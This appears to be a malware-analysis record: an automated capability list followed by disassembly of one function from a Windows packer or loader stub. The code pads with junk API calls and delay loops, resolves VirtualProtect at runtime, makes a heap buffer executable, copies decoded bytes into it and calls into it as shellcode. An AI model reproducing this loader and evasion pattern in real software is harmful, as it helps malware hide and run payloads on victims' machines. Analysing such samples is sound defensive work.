Function at 0x401763
Capabilities:
Allocate or change rwx memory
Create directory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Identify system language via api
Manipulate console buffer
Set file attributes

Disassembly:
mov eax, 0x46f58b
call fcn.0046e594
sub esp, 0x54
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x207138
jg 0x40178f
inc esi
cmp esi, 0x4f672
jl 0x401777
cmp dword [0x2c33a9c], 0x93
jne 0x401861
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_InsertMenuItemW]
xor eax, eax
lock bts dword [eax], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push str.diwemojej_xisirocixomesepadutezop
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push ebx
lea eax, [ebp - 0x34]
push eax
push ebx
push ebx
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.ole32.dll_CoGetClassObject]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
mov dword [ebp - 0x4c], 0xf
mov dword [ebp - 0x50], ebx
mov byte [ebp - 0x60], bl
push ecx
push ecx
mov eax, esp
mov dword [ebp - 4], ebx
mov dword [eax], ebx
push ecx
mov dword [eax + 4], ebx
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00401ea0
fstp st(0)
push ebx
push ebx
call fcn.00402201
push ebx
call fcn.004022a7
add esp, 0x1c
push ebx
call fcn.004022b6
pop ecx
push ebx
call fcn.00402548
mov eax, dword [0x4752a8]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add dword [0x2c33a9c], 0x1134b
push str.kernel32.dll
mov dword [0x2c348d8], eax
call esi
push str.VirtualProtect
push eax
mov dword [0x2c3352c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2c33a9c]
mov dword [0x2c33520], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x2c33a9c]
mov dword [0x2c33528], eax
push eax
call dword [0x2c33520]
mov edi, 0x1692e
push ebx
call dword [sym.imp.USER32.dll_SetMessageExtraInfo]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x4018c2
mov eax, dword [0x2c33a9c]
cmp eax, ebx
jbe 0x40192d
mov eax, dword [0x2c348d8]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2c33528]
mov byte [ecx + edi], al
mov eax, dword [0x2c33a9c]
cmp eax, 0x490
jne 0x401928
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push ebx
call esi
lea eax, [ebp - 0x24]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov eax, dword [0x2c33a9c]
inc edi
cmp edi, eax
jb 0x4018dc
xor esi, esi
lea ecx, [eax + esi]
cmp ecx, 0x8d
jne 0x40196b
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffW]
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov eax, dword [0x2c33a9c]
inc esi
cmp esi, 0x38681
jl 0x40192f
mov ecx, dword [0x2c33528]
shr eax, 3
cmp eax, ebx
jbe 0x401991
mov esi, ecx
mov edi, eax
push esi
call fcn.00401007
add esi, 8
dec edi
jne 0x401985
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x62
jne 0x4019b2
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0x2c33528], eax
inc esi
cmp esi, 0x674db
jl 0x401993
push 0x7b
pop esi
cmp dword [0x2c33a9c], 0x86
jne 0x401a01
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.yevovawuhudaca
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
push str.tasapofayisutomekox_zosuhuweyemefe_koxinedaninohorazujes_hotanipufanafajeh_guhizavoto
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidthA]
dec esi
jne 0x4019be
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x2c33528]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret